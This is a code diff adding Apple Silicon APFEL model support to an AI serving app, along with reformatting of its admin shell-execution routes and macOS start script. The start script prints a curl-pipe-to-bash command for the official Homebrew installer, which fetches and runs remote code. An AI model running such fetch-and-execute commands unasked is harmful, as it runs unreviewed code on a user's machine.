diff --git a/core/platform_compat.py b/core/platform_compat.py index f2160d9f2..f2141ea75 100644 --- a/core/platform_compat.py +++ b/core/platform_compat.py @@ -18,10 +18,22 @@ import ntpath import shutil import subprocess from pathlib import Path +import sys from typing import List, Optional +import platform IS_WINDOWS = os.name == "nt" IS_POSIX = not IS_WINDOWS +# Allows APFEL support and ARM-native binary recommendations on Apple Silicon Macs. +IS_APPLE_SILICON = ( + IS_POSIX + and platform.system() == "Darwin" + and platform.machine().lower() + in { + "arm64", + "aarch64", + } +) # ── File permissions ──────────────────────────────────────────────────────── @@ -53,9 +65,8 @@ def detached_popen_kwargs() -> dict: and is detached from any console. """ if IS_WINDOWS: - flags = ( - getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) - | getattr(subprocess, "DETACHED_PROCESS", 0x00000008) + flags = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) | getattr( + subprocess, "DETACHED_PROCESS", 0x00000008 ) return {"creationflags": flags} return {"start_new_session": True} diff --git a/package-lock.json b/package-lock.json index 80eac7ebf..8e0812dd9 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,5 +1,5 @@ { - "name": "odysseus-ui", + "name": "odysseus", "lockfileVersion": 3, "requires": true, "packages": { diff --git a/routes/model_routes.py b/routes/model_routes.py index 29188a72d..2d5be4154 100644 --- a/routes/model_routes.py +++ b/routes/model_routes.py @@ -700,7 +700,6 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis return list(fallback) return [] - def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]: """Reachability probe that does not require installed/listed models.""" from src.endpoint_resolver import resolve_url @@ -716,6 +715,10 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> or "ollama" in (parsed_base.hostname or "").lower() ) + # APFEL-specific detection + host = (parsed_base.hostname or "").lower() + looks_like_apfel = "apfel" in host or parsed_base.port == 11435 + def _result_from_response(r) -> Dict[str, Any]: if 300 <= r.status_code < 400: loc = r.headers.get("location", "") @@ -737,7 +740,23 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> last_error: Optional[str] = None try: - if looks_like_ollama: + # APFEL does not behave like Ollama; use its health endpoint. + if looks_like_apfel: + root = base + for suffix in ("/v1", "/api"): + if root.endswith(suffix): + root = root[: -len(suffix)].rstrip("/") + break + try: + r = httpx.get(root + "/health", timeout=timeout, verify=llm_verify()) + result = _result_from_response(r) + if result["reachable"]: + return result + last_error = result.get("error") + except Exception as e: + last_error = str(e)[:120] + + elif looks_like_ollama: root = base for suffix in ("/v1", "/api"): if root.endswith(suffix): @@ -782,8 +801,6 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> return {"reachable": False, "status_code": None, "error": last_error} - - def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str: """Return a provider-aware error message for failed endpoint probes.""" ping = ping or {} diff --git a/routes/shell_routes.py b/routes/shell_routes.py index e8077f64d..3ffaab522 100644 --- a/routes/shell_routes.py +++ b/routes/shell_routes.py @@ -13,6 +13,7 @@ import tempfile from collections import namedtuple from pathlib import Path from typing import Dict, Any +from core.platform_compat import IS_APPLE_SILICON, which_tool # POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist # on Windows, so importing them unconditionally crashed app startup there @@ -93,6 +94,7 @@ def _venv_activate_prefix(venv: str | None) -> str: act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate" return f". {act} && " + logger = logging.getLogger(__name__) PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid") @@ -170,7 +172,10 @@ def _package_installed_from_probe(name: str, probe: dict) -> bool: and (dists.get("torch") or modules.get("torch", {}).get("real_module")) ) if name == "hf_transfer": - return bool(dists.get("hf-transfer") or modules.get("hf_transfer", {}).get("real_module")) + return bool( + dists.get("hf-transfer") + or modules.get("hf_transfer", {}).get("real_module") + ) return bool(dists.get(name) or modules.get(name, {}).get("real_module")) @@ -195,8 +200,14 @@ def _package_status_note(name: str, probe: dict) -> str: if binaries.get("llama-server"): parts.append(f"native llama-server: {binaries['llama-server']}") if dists.get("llama-cpp-python"): - parts.append(f"python package: llama-cpp-python {dists['llama-cpp-python']}") - return "; ".join(parts) if parts else "No native llama-server or llama-cpp-python server package found." + parts.append( + f"python package: llama-cpp-python {dists['llama-cpp-python']}" + ) + return ( + "; ".join(parts) + if parts + else "No native llama-server or llama-cpp-python server package found." + ) if name == "diffusers": if _package_installed_from_probe(name, probe): return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}" @@ -206,7 +217,9 @@ def _package_status_note(name: str, probe: dict) -> str: return "" -def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageUpdateStatus: +def _package_pip_update_status( + pkg: dict, probe: dict | None = None +) -> PackageUpdateStatus: """Return whether the Dependencies UI should offer a generic pip update. "Installed" means Cookbook can use the dependency. It does not always mean @@ -214,12 +227,28 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU native llama-server can come from a package manager/source build, and a CLI may be on PATH without matching Python package metadata. """ + if pkg.get("name") == "APFEL": + return PackageUpdateStatus( + False, + "", # Note is empty because IT DOES allow for updates outside of PIP. + ) + if pkg.get("kind") == "system" or not pkg.get("pip"): - return PackageUpdateStatus(False, "Update this system dependency outside Odysseus.") + return PackageUpdateStatus( + False, "Update this system dependency outside Odysseus." + ) name = pkg.get("name") - binaries = probe.get("binaries") if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) else {} - dists = probe.get("dists") if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) else {} + binaries = ( + probe.get("binaries") + if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) + else {} + ) + dists = ( + probe.get("dists") + if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) + else {} + ) if name == "llama_cpp" and binaries.get("llama-server"): return PackageUpdateStatus( @@ -232,7 +261,9 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU "Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.", ) - return PackageUpdateStatus(True, "Update uses pip in the selected Python environment.") + return PackageUpdateStatus( + True, "Update uses pip in the selected Python environment." + ) def _prepend_user_install_bins_to_path() -> None: @@ -251,7 +282,9 @@ def _prepend_user_install_bins_to_path() -> None: candidates = [] candidates.append(os.path.expanduser("~/.local/bin")) - parts = os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else [] + parts = ( + os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else [] + ) changed = False for path in reversed([p for p in candidates if p]): if path not in parts: @@ -358,9 +391,11 @@ PTY_UNSUPPORTED_ERROR = "pty_unsupported" class ShellExecRequest(BaseModel): command: str - timeout: int | None = None # optional override; 0 = no timeout (run until client disconnects) - use_pty: bool = False # use pseudo-TTY (for progress bars) - use_tmux: bool = False # run in tmux session (survives browser disconnect) + timeout: int | None = ( + None # optional override; 0 = no timeout (run until client disconnects) + ) + use_pty: bool = False # use pseudo-TTY (for progress bars) + use_tmux: bool = False # run in tmux session (survives browser disconnect) async def _create_shell(command: str, **kwargs): @@ -395,9 +430,7 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An stderr=asyncio.subprocess.PIPE, cwd=str(Path.home()), ) - stdout_b, stderr_b = await asyncio.wait_for( - proc.communicate(), timeout=timeout - ) + stdout_b, stderr_b = await asyncio.wait_for(proc.communicate(), timeout=timeout) stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT] stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT] return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode} @@ -408,7 +441,11 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An await proc.wait() except ProcessLookupError: pass - return {"stdout": "", "stderr": f"Command timed out after {timeout}s", "exit_code": -1} + return { + "stdout": "", + "stderr": f"Command timed out after {timeout}s", + "exit_code": -1, + } except Exception as e: return {"stdout": "", "stderr": str(e), "exit_code": -1} @@ -490,7 +527,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request): if idx == -1: break line = buf[:idx].decode(errors="replace") - buf = buf[idx + sep_len:] + buf = buf[idx + sep_len :] if line: yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" @@ -512,7 +549,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request): if idx == -1: break line = buf[:idx].decode(errors="replace") - buf = buf[idx + sep_len:] + buf = buf[idx + sep_len :] if line: yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" if buf: @@ -543,6 +580,7 @@ def _pty_read(fd: int) -> bytes | None: """Blocking read from PTY fd. Called via run_in_executor. Returns bytes on data, None on timeout (no data yet).""" import select + r, _, _ = select.select([fd], [], [], 1.0) if r: try: @@ -566,10 +604,10 @@ async def _generate_tmux(cmd: str, request: Request): script_path = TMUX_LOG_DIR / f"{session_id}.sh" script_path.write_text( f"#!/bin/bash\n" - f"ODYSSEUS_USER_SHELL=\"${{SHELL:-}}\"\n" - f"if [ -n \"$ODYSSEUS_USER_SHELL\" ] && [ -x \"$ODYSSEUS_USER_SHELL\" ]; then\n" - f" ODYSSEUS_USER_PATH=\"$(\"$ODYSSEUS_USER_SHELL\" -ic 'printf \"__ODYSSEUS_PATH__%s\\n\" \"$PATH\"' 2>/dev/null | sed -n 's/^__ODYSSEUS_PATH__//p' | tail -n 1 || true)\"\n" - f" if [ -n \"$ODYSSEUS_USER_PATH\" ]; then export PATH=\"$ODYSSEUS_USER_PATH:$PATH\"; fi\n" + f'ODYSSEUS_USER_SHELL="${{SHELL:-}}"\n' + f'if [ -n "$ODYSSEUS_USER_SHELL" ] && [ -x "$ODYSSEUS_USER_SHELL" ]; then\n' + f' ODYSSEUS_USER_PATH="$("$ODYSSEUS_USER_SHELL" -ic \'printf "__ODYSSEUS_PATH__%s\\n" "$PATH"\' 2>/dev/null | sed -n \'s/^__ODYSSEUS_PATH__//p\' | tail -n 1 || true)"\n' + f' if [ -n "$ODYSSEUS_USER_PATH" ]; then export PATH="$ODYSSEUS_USER_PATH:$PATH"; fi\n' f"fi\n" f"{cmd} 2>&1 | tee '{log_path}'\n" f"EC=${{PIPESTATUS[0]}}\n" @@ -579,7 +617,9 @@ async def _generate_tmux(cmd: str, request: Request): encoding="utf-8", ) script_path.chmod(0o755) - logger.info("tmux wrapper script created: session=%s path=%s", session_id, script_path) + logger.info( + "tmux wrapper script created: session=%s path=%s", session_id, script_path + ) tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}" @@ -611,7 +651,9 @@ async def _generate_tmux(cmd: str, request: Request): # Read new lines from log try: if log_path.exists(): - lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() + lines = log_path.read_text( + encoding="utf-8", errors="replace" + ).splitlines() new_lines = lines[lines_sent:] for line in new_lines: if line.startswith(":::EXIT_CODE:::"): @@ -639,7 +681,9 @@ async def _generate_tmux(cmd: str, request: Request): # Session ended — do one final read await asyncio.sleep(0.5) if log_path.exists(): - lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() + lines = log_path.read_text( + encoding="utf-8", errors="replace" + ).splitlines() for line in lines[lines_sent:]: if line.startswith(":::EXIT_CODE:::"): try: @@ -720,7 +764,9 @@ async def _generate_win_detached(cmd: str, request: Request): return try: if log_path.exists(): - lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() + lines = log_path.read_text( + encoding="utf-8", errors="replace" + ).splitlines() for line in lines[lines_sent:]: yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" lines_sent = len(lines) @@ -732,11 +778,18 @@ async def _generate_win_detached(cmd: str, request: Request): await asyncio.sleep(0.3) try: if log_path.exists(): - lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() + lines = log_path.read_text( + encoding="utf-8", errors="replace" + ).splitlines() for line in lines[lines_sent:]: yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" lines_sent = len(lines) - exit_code = int((exit_path.read_text(encoding="utf-8", errors="replace").strip() or "0")) + exit_code = int( + ( + exit_path.read_text(encoding="utf-8", errors="replace").strip() + or "0" + ) + ) except Exception: exit_code = 0 break @@ -762,7 +815,9 @@ def setup_shell_routes() -> APIRouter: return {"stdout": "", "stderr": "No command provided", "exit_code": 1} logger.info("User shell exec requested: length=%d", len(cmd)) - result = await _exec_shell(cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT) + result = await _exec_shell( + cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT + ) return result @router.post("/api/shell/stream") @@ -771,9 +826,11 @@ def setup_shell_routes() -> APIRouter: _require_admin(request) cmd = req.command.strip() if not cmd: + async def empty(): yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n" yield f"data: {json.dumps({'exit_code': 1})}\n\n" + return StreamingResponse(empty(), media_type="text/event-stream") timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT @@ -790,7 +847,11 @@ def setup_shell_routes() -> APIRouter: if use_tmux: # tmux is POSIX-only; Windows uses a detached-process + logfile tail # that preserves the "survives disconnect" behaviour. - gen = _generate_win_detached(cmd, request) if IS_WINDOWS else _generate_tmux(cmd, request) + gen = ( + _generate_win_detached(cmd, request) + if IS_WINDOWS + else _generate_tmux(cmd, request) + ) return StreamingResponse(gen, media_type="text/event-stream") if use_pty and not IS_WINDOWS: @@ -822,7 +883,12 @@ def setup_shell_routes() -> APIRouter: chunk = await stream.read(4096) if not chunk: if buf: - await q.put((name, buf.decode(errors="replace").rstrip("\r\n"))) + await q.put( + ( + name, + buf.decode(errors="replace").rstrip("\r\n"), + ) + ) break buf += chunk while True: @@ -830,7 +896,7 @@ def setup_shell_routes() -> APIRouter: if idx == -1: break line = buf[:idx].decode(errors="replace") - buf = buf[idx + sep_len:] + buf = buf[idx + sep_len :] if line: await q.put((name, line)) finally: @@ -889,7 +955,12 @@ def setup_shell_routes() -> APIRouter: return StreamingResponse(generate(), media_type="text/event-stream") @router.get("/api/cookbook/packages") - async def list_packages(request: Request, host: str | None = None, ssh_port: str | None = None, venv: str | None = None): + async def list_packages( + request: Request, + host: str | None = None, + ssh_port: str | None = None, + venv: str | None = None, + ): """Check which optional packages are installed. Local-target packages are checked in-process. Remote-target packages @@ -899,7 +970,13 @@ def setup_shell_routes() -> APIRouter: """ _require_admin(request) _reject_cross_site(request) - import importlib, importlib.metadata as importlib_metadata, shlex, json as _json, site, sys + import importlib + import importlib.metadata as importlib_metadata + import shlex + import json as _json + import site + import sys + _prepend_user_install_bins_to_path() importlib.invalidate_caches() try: @@ -914,26 +991,115 @@ def setup_shell_routes() -> APIRouter: raise HTTPException(400, "Invalid ssh_port") packages = [ # ── System ── OS binaries, not pip packages - {"name": "tmux", "pip": "", "desc": "Required for Linux/Termux Cookbook background downloads and serves", "category": "System", "target": "remote", "kind": "system", "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper."}, - {"name": "docker", "pip": "", "desc": "Required only for Docker-backed launch commands", "category": "System", "target": "remote", "kind": "system", "install_hint": "Install Docker on the selected server and allow this user to run docker."}, + { + "name": "tmux", + "pip": "", + "desc": "Required for Linux/Termux Cookbook background downloads and serves", + "category": "System", + "target": "remote", + "kind": "system", + "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper.", + }, + { + "name": "docker", + "pip": "", + "desc": "Required only for Docker-backed launch commands", + "category": "System", + "target": "remote", + "kind": "system", + "install_hint": "Install Docker on the selected server and allow this user to run docker.", + }, # ── LLM ── installs on GPU servers for model serving/downloading - {"name": "hf_transfer", "pip": "hf_transfer", "desc": "Fast model downloads from HuggingFace", "category": "LLM", "target": "remote"}, - {"name": "llama_cpp", "pip": "llama-cpp-python[server]", "desc": "Serve GGUF models via llama.cpp", "category": "LLM", "target": "remote"}, - {"name": "sglang", "pip": "sglang[all]", "desc": "Serve HF safetensors models via SGLang", "category": "LLM", "target": "remote"}, - {"name": "vllm", "pip": "vllm", "desc": "High-throughput LLM serving engine", "category": "LLM", "target": "remote"}, + { + "name": "hf_transfer", + "pip": "hf_transfer", + "desc": "Fast model downloads from HuggingFace", + "category": "LLM", + "target": "remote", + }, + { + "name": "llama_cpp", + "pip": "llama-cpp-python[server]", + "desc": "Serve GGUF models via llama.cpp", + "category": "LLM", + "target": "remote", + }, + { + "name": "sglang", + "pip": "sglang[all]", + "desc": "Serve HF safetensors models via SGLang", + "category": "LLM", + "target": "remote", + }, + { + "name": "vllm", + "pip": "vllm", + "desc": "High-throughput LLM serving engine", + "category": "LLM", + "target": "remote", + }, + { + "name": "APFEL", + "pip": "", + "desc": "OpenAI-compatible API for Apple Foundational Models on Apple Silicon", + "category": "LLM", + "target": "local", + "kind": "system", + "install_cmd": "brew install apfel", + "update_cmd": "brew upgrade apfel", + "install_hint": "Requires a native Apple Silicon Mac with Apple Foundational Models support. Installable via Homebrew on supported Macs.", + }, # ── Image ── editor + diffusion model serving - {"name": "diffusers", "pip": "diffusers[torch]", "desc": "Image generation pipelines (SD, Flux) with PyTorch", "category": "Image", "target": "remote"}, - {"name": "rembg", "pip": "rembg[gpu]", "desc": "AI background removal for image editor", "category": "Image", "target": "local"}, - {"name": "realesrgan", "pip": "realesrgan", "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", "category": "Image", "target": "local"}, + { + "name": "diffusers", + "pip": "diffusers[torch]", + "desc": "Image generation pipelines (SD, Flux) with PyTorch", + "category": "Image", + "target": "remote", + }, + { + "name": "rembg", + "pip": "rembg[gpu]", + "desc": "AI background removal for image editor", + "category": "Image", + "target": "local", + }, + { + "name": "realesrgan", + "pip": "realesrgan", + "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", + "category": "Image", + "target": "local", + }, # ── Tools ── - {"name": "playwright", "pip": "playwright", "desc": "Browser automation for web tools", "category": "Tools", "target": "local"}, + { + "name": "playwright", + "pip": "playwright", + "desc": "Browser automation for web tools", + "category": "Tools", + "target": "local", + }, ] + + # Most packages should not be installed through external means. Hence, set the default of the + # install_cmd and update_cmd to None, which indicates that the recommended way to install/update is through the Cookbook # server setup or pip. Only system packages, should have explicit install/update commands provided. + for pkg in packages: + pkg.setdefault("install_cmd", None) + pkg.setdefault("update_cmd", None) # Remote check: for remote-target packages, probe the selected server's # venv over SSH so a remote `pip install` actually reflects here. remote_status: dict = {} remote_details: dict = {} - remote_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") != "system"] - remote_system_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") == "system"] + remote_names = [ + p["name"] + for p in packages + if p.get("target") == "remote" and p.get("kind") != "system" + ] + remote_system_names = [ + p["name"] + for p in packages + if p.get("target") == "remote" and p.get("kind") == "system" + ] if host and remote_names: try: py = _package_probe_script(remote_names) @@ -943,7 +1109,9 @@ def setup_shell_routes() -> APIRouter: inner = f"{src}python3 -c {shlex.quote(py)}" argv = _ssh_base_argv(host, ssh_port) + [inner] proc = await asyncio.create_subprocess_exec( - *argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + *argv, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, ) out, _err = await asyncio.wait_for(proc.communicate(), timeout=12) txt = out.decode("utf-8", errors="replace").strip() @@ -967,11 +1135,15 @@ def setup_shell_routes() -> APIRouter: checks = [] for name in remote_system_names: qn = shlex.quote(name) - checks.append(f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi") + checks.append( + f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi" + ) inner = " ; ".join(checks) argv = _ssh_base_argv(host, ssh_port) + [inner] proc = await asyncio.create_subprocess_exec( - *argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + *argv, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, ) out, _err = await asyncio.wait_for(proc.communicate(), timeout=12) txt = out.decode("utf-8", errors="replace").strip() @@ -996,11 +1168,25 @@ def setup_shell_routes() -> APIRouter: if note: pkg["status_note"] = note elif pkg.get("kind") == "system": - pkg["installed"] = shutil.which(pkg["name"]) is not None + if pkg["name"] == "APFEL": + pkg["applicable"] = IS_APPLE_SILICON + pkg["installed"] = which_tool("apfel") is not None + pkg["status_note"] = ( + "Available on Apple Silicon (arm64) devices; exposed through a local OpenAI-compatible API." + if IS_APPLE_SILICON + else "Requires a native Apple Silicon Mac with Apple Foundational Models support." + ) + else: + pkg["installed"] = shutil.which(pkg["name"]) is not None elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"): pkg["installed"] = True - pkg["status_note"] = f"native llama-server: {shutil.which('llama-server')}" - probe = {"binaries": {"llama-server": shutil.which("llama-server")}, "dists": {}} + pkg["status_note"] = ( + f"native llama-server: {shutil.which('llama-server')}" + ) + probe = { + "binaries": {"llama-server": shutil.which("llama-server")}, + "dists": {}, + } elif pkg["name"] == "vllm": _vllm_cli = shutil.which("vllm") pkg["installed"] = _vllm_cli is not None @@ -1046,15 +1232,30 @@ def setup_shell_routes() -> APIRouter: """Install a package via pip. Admin only — pip install is effectively code exec.""" _require_admin(request) import sys as _sys + body = await request.json() pip_name = body.get("pip") if not pip_name: return {"ok": False, "error": "No package specified"} # Validate against known packages to prevent arbitrary pip install known = { - "rembg[gpu]", "hf_transfer", "llama-cpp-python[server]", "sglang[all]", "diffusers", "diffusers[torch]", - "TTS", "bark", "faster-whisper", "playwright", "realesrgan", "gfpgan", - "insightface", "onnxruntime-gpu", "onnxruntime", "hdbscan", "vllm", + "rembg[gpu]", + "hf_transfer", + "llama-cpp-python[server]", + "sglang[all]", + "diffusers", + "diffusers[torch]", + "TTS", + "bark", + "faster-whisper", + "playwright", + "realesrgan", + "gfpgan", + "insightface", + "onnxruntime-gpu", + "onnxruntime", + "hdbscan", + "vllm", } if pip_name not in known: return {"ok": False, "error": f"Unknown package: {pip_name}"} @@ -1080,6 +1281,7 @@ def setup_shell_routes() -> APIRouter: """ _require_admin(request) from routes.cookbook_helpers import _llama_cpp_rebuild_cmd + body = await request.json() engine = str(body.get("engine") or "llamacpp").strip() if engine != "llamacpp": @@ -1088,7 +1290,11 @@ def setup_shell_routes() -> APIRouter: ssh_port = body.get("ssh_port") cmd = _llama_cpp_rebuild_cmd() try: - argv = (_ssh_base_argv(host, ssh_port) + [cmd]) if host else ["bash", "-lc", cmd] + argv = ( + (_ssh_base_argv(host, ssh_port) + [cmd]) + if host + else ["bash", "-lc", cmd] + ) except ValueError as e: raise HTTPException(400, str(e)) try: diff --git a/src/model_discovery.py b/src/model_discovery.py index ca62a9f96..68b402d25 100644 --- a/src/model_discovery.py +++ b/src/model_discovery.py @@ -44,8 +44,7 @@ def discover_tailscale_hosts() -> List[str]: hosts = [] try: result = subprocess.run( - ["tailscale", "status", "--json"], - capture_output=True, text=True, timeout=5 + ["tailscale", "status", "--json"], capture_output=True, text=True, timeout=5 ) if result.returncode != 0: return hosts @@ -154,9 +153,13 @@ class ModelDiscovery: r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5) if r.is_success: models = (r.json() or {}).get("models") - if (isinstance(models, list) and models - and isinstance(models[0], dict) - and "key" in models[0] and "architecture" in models[0]): + if ( + isinstance(models, list) + and models + and isinstance(models[0], dict) + and "key" in models[0] + and "architecture" in models[0] + ): return "lmstudio" except Exception: pass @@ -192,12 +195,15 @@ class ModelDiscovery: logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}") # Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook), - # 1234 (LM Studio), 11434 (Ollama) - ports = list(range(8000, 8021)) + [1234, 11434] + # 1234 (LM Studio), 11434 (Ollama), 11435 for APFEL as its default port is + # occupied by Ollama. The env vars can add more ports which will be merged in. + ports = list(range(8000, 8021)) + [1234, 11434, 11435] ports += [p for p in sorted(self._extra_ports) if p not in ports] targets = [(h, p) for h in hosts for p in ports] - seen_models = set() # dedupe by (port, model_ids) to avoid same machine via different IPs + seen_models = ( + set() + ) # dedupe by (port, model_ids) to avoid same machine via different IPs with ThreadPoolExecutor(max_workers=50) as pool: futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets} @@ -212,7 +218,9 @@ class ModelDiscovery: # Sort by host then port for consistent ordering items.sort(key=lambda x: (x["host"], x["port"])) - logger.info(f"Discovered {len(items)} model endpoints across {len(hosts)} hosts") + logger.info( + f"Discovered {len(items)} model endpoints across {len(hosts)} hosts" + ) return {"hosts": hosts, "items": items} def get_providers(self) -> Dict[str, Any]: @@ -223,15 +231,23 @@ class ModelDiscovery: if self.openai_api_key: openai_models = [ - "gpt-5.2-codex", "gpt-4o-mini", "gpt-image-1.5", - "gpt-4o", "gpt-5.2", "gpt-5.2-pro", + "gpt-5.2-codex", + "gpt-4o-mini", + "gpt-image-1.5", + "gpt-4o", + "gpt-5.2", + "gpt-5.2-pro", ] - providers.append({ - "provider": "openai", - "items": [{ - "url": "https://api.openai.com/v1/chat/completions", - "models": openai_models - }] - }) + providers.append( + { + "provider": "openai", + "items": [ + { + "url": "https://api.openai.com/v1/chat/completions", + "models": openai_models, + } + ], + } + ) return {"providers": providers} diff --git a/start-macos.sh b/start-macos.sh index b0437ef9c..b9f06f2bf 100755 --- a/start-macos.sh +++ b/start-macos.sh @@ -20,14 +20,14 @@ cd "$REPO_DIR" # the command line every run — consistent with how app.py reads them via # python-dotenv. Variables already set in the shell take priority over .env. if [ -f .env ]; then - while IFS='=' read -r key value; do - [[ "$key" =~ ^[[:space:]]*# ]] && continue - [[ -z "${key// }" ]] && continue - value="${value%%#*}" - value="${value#"${value%%[![:space:]]*}"}" - value="${value%"${value##*[![:space:]]}"}" - [ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value" - done < .env + while IFS='=' read -r key value; do + [[ "$key" =~ ^[[:space:]]*# ]] && continue + [[ -z "${key// }" ]] && continue + value="${value%%#*}" + value="${value#"${value%%[![:space:]]*}"}" + value="${value%"${value##*[![:space:]]}"}" + [ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value" + done < .env fi # Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env @@ -36,7 +36,7 @@ PORT="${ODYSSEUS_PORT:-${APP_PORT:-7860}}" # 7860, not 7000 — macOS AirPlay HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access. PROBE_HOST="$HOST" if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then - PROBE_HOST="127.0.0.1" + PROBE_HOST="127.0.0.1" fi # Friendly message on any failure — re-running is safe (every step is idempotent). @@ -46,20 +46,20 @@ echo "▶ Odysseus quick start for macOS" # Fail fast if the port is already taken (e.g. a previous run still running). if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then - echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:" - echo " ODYSSEUS_PORT=7900 ./start-macos.sh" - exit 1 + echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:" + echo " ODYSSEUS_PORT=7900 ./start-macos.sh" + exit 1 fi # 1. Homebrew — the macOS package manager. We can't safely auto-install it # (it wants its own interactive confirmation), so point the user at it. if ! command -v brew >/dev/null 2>&1; then - echo - echo "Homebrew is required but not installed. Install it (one command), then re-run this script:" - echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"' - echo - echo "More info: https://brew.sh" - exit 1 + echo + echo "Homebrew is required but not installed. Install it (one command), then re-run this script:" + echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"' + echo + echo "More info: https://brew.sh" + exit 1 fi # 2. Find a Python 3.11+ to build the environment with. @@ -72,15 +72,15 @@ fi # (or non-mac) we just use whatever Python 3.11+ is on PATH. PY="" if [ "$(uname -m)" = "arm64" ]; then - cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11" + cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11" else - cands="python3 python3.13 python3.12 python3.11" + cands="python3 python3.13 python3.12 python3.11" fi for cand in $cands; do - p="$(command -v "$cand" 2>/dev/null)" || continue - if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then - PY="$p"; break - fi + p="$(command -v "$cand" 2>/dev/null)" || continue + if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then + PY="$p"; break + fi done # System dependencies (each installed only if missing, so re-runs stay fast and @@ -98,40 +98,41 @@ done # Install a Homebrew formula only if its command isn't already present. A failed # install warns but does not abort — Cookbook can be set up later. brew_ensure() { - if command -v "$1" >/dev/null 2>&1; then - echo " ✓ $2 already installed" - return 0 - fi - echo " installing $2…" - if ! brew install "$2"; then - echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited." - echo " You can install it later with: brew install $2" - fi + if command -v "$1" >/dev/null 2>&1; then + echo " ✓ $2 already installed" + return 0 + fi + echo " installing $2…" + if ! brew install "$2"; then + echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited." + echo " You can install it later with: brew install $2" + fi } echo "▶ Checking dependencies (Homebrew)…" if [ -n "$PY" ]; then - echo " (using 